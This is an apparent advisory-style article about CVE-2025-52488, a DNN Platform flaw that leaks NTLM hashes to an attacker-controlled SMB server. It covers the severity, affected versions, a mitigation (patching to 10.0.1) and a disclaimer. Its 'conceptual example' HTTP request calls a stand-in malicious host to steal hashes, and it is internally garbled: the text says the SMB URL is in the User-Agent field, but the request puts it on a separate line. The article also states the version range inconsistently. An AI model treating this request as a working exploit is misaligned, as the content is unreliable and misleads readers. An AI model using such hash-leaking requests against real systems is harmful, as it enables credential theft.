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CVE-2025-52488: DNN Platform Vulnerability Exposing NTLM Hashes to Third-Party SMB Server

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Overview

CVE-2025-52488 is a serious vulnerability discovered in DNN (formerly DotNetNuke), an open-source Web Content Management System (CMS) that operates within the Microsoft ecosystem. This vulnerability, which affects versions 6.0.0 to 10.0.0 of DNN.PLATFORM, allows for a specially crafted series of malicious interactions that could potentially expose NTLM hashes to a third-party SMB server.
This exposure is significant because it could lead to potential system compromise or data leakage, thereby impacting the security and privacy of the organizations and individuals using this platform. The severity of this issue underlines the importance of immediate attention and deployment of effective mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-52488
Severity: High (8.6 on CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

DNN Platform | 6.0.0 to before 10.0.1

How the Exploit Works

The exploit works by taking advantage of a flaw within the DNN platform that allows for the transmission of NTLM hashes to a third-party SMB server. An attacker can craft a series of interactions that trigger a function within the DNN platform to send NTLM hashes to a server under their control. Once the hashes are acquired, they can be cracked offline, providing the attacker with valid credentials to potentially compromise systems or leak data.

Conceptual Example Code

While the precise details of the exploit are complex, a simplified conceptual example might resemble the following:

GET /vulnerable/DNNfunction HTTP/1.1
Host: target.example.com
User-Agent: attackercrafted/1.0
SMB://malicious.server.com/NTLMsteal

This request uses a GET method to invoke a vulnerable function within the DNN platform that sends NTLM hashes to the malicious server specified in the User-Agent field.

Mitigation Guidance

Users are urged to apply the vendor patch as soon as possible. The issue has been patched in version 10.0.1 of the DNN platform. As a temporary measure, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious traffic. However, these are only temporary solutions and do not address the underlying vulnerability.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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